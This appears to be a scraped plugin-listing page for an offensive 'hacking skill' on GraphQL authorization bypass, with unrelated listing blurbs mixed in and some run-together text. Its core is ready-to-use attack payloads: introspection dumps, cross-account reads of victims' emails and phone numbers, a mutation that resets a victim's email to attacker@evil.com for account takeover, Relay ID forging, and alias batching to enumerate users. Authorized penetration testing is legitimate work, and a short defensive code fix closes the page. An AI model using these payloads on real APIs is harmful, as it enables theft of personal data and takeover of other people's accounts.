From meta
Covers object-level authorization bypass in GraphQL APIs where introspection reveals hidden fields or mutations that accept arbitrary user/resource IDs without ownership checks. Trigger on keywords like "GraphQL", "query", "mutation", "introspection", "resolver", "node ID", "relay", "object type", "schema", "batching", or "alias". Applies to dual-stack REST+GraphQL apps, Relay-style global IDs, and unauthenticated resolvers.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
GraphQL resolvers often receive an `id` argument supplied by the client but fail to verify that the authenticated user owns the referenced object. Authorization is typically implemented at the HTTP middleware layer (REST-style) and never propagated down to individual resolvers — creating a gap when GraphQL is bolted on later. Introspection leaks the full schema, letting an attacker enumerate ev...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
GraphQL resolvers often receive an id argument supplied by the client but fail to verify that the authenticated user owns the referenced object. Authorization is typically implemented at the HTTP middleware layer (REST-style) and never propagated down to individual resolvers — creating a gap when GraphQL is bolted on later. Introspection leaks the full schema, letting an attacker enumerate every query and mutation that accepts an ID argument, then systematically probe each one for missing ownership checks.
__schema returns data in productionid arguments typed as ID! or String! with no documented ownership constraintTypeName:uuid) — trivially enumerable"Not found" vs "Forbidden" reveal object existence (oracle)/graphql, /api/graphql, /v1/graphql, /gqlid, userId, resourceId, ownerIdupdate, delete, transfer mutations with cross-account IDsFull introspection dump:
{ __schema { types { name fields { name args { name type { name kind ofType { name } } } } } } }
Targeted type introspection:
{ __type(name: "User") { fields { name type { name kind } } } }
Cross-account read:
{ user(id: "VICTIM_ID") { email phone internalNotes } }
Cross-account mutation:
mutation { updateUserEmail(userId: "VICTIM_ID", newEmail: "attacker@evil.com") { success } }
Relay node interface probe:
{ node(id: "VXNlcjoxMjM0") { ... on User { email phone } } }
Decode/re-encode: echo -n "User:1234" | base64 → VXNlcjoxMjM0
Alias batching for enumeration:
{
a1: user(id: "001") { email }
a2: user(id: "002") { email }
a3: user(id: "003") { email }
}
Tools: InQL (Burp extension) for schema visualization; GraphQL Voyager for graph traversal; graphql-cop for automated security checks; clairvoyance for introspection-blocked schema reconstruction.
{a:__schema{...}} if unaliased introspection is blockedSetup: Invoicing app exposes getInvoice(id: ID!). Introspection shows it returns amount, clientEmail, lineItems. → Trigger: Account A queries with Account B's invoice ID. → Impact: Full invoice details returned. Authorization enforced only on legacy REST route.
Setup: SaaS platform has updateUserEmail(userId: ID!, newEmail: String!). Resolver validates session is authenticated but not that userId matches the session user. → Trigger: Attacker calls mutation with victim's userId. → Impact: Email changed, password reset completes account takeover.
Setup: App using Relay exposes node(id: ID!). Global IDs are base64-encoded (User:1234). No authentication guard on resolver. → Trigger: Unauthenticated attacker decodes and re-encodes sequential IDs. → Impact: Names, emails, profile photos for all registered users without a session.
id argument present but resolver reads the ID from session context, ignoring the supplied value"Not found" returned for both valid and invalid cross-account IDs — no oracle, no leaknode(id:) returns data but only for public/non-sensitive types (e.g. public posts)// WRONG: resolver trusts client-supplied ID
async getInvoice(_, { id }, { db }) {
return db.invoices.findById(id);
}
// CORRECT: enforce ownership in the query
async getInvoice(_, { id }, { db, currentUser }) {
const invoice = await db.invoices.findOne({ id, ownerId: currentUser.id });
if (!invoice) throw new ForbiddenError("Not authorized");
return invoice;
}
[[bola-idor]] is the underlying vulnerability that introspection exposes paths to find — introspection maps the schema while BOLA methodology validates each resolver for missing ownership checks. The general [[authz-bypass]] technique of replaying requests with a different session applies directly: enumerate types via introspection, then replay with Account B's session using Account A's object IDs. Introspection-disabled APIs can still be partially reconstructed using clairvoyance, mirroring the reconnaissance role of [[web-fingerprinting]] for REST targets.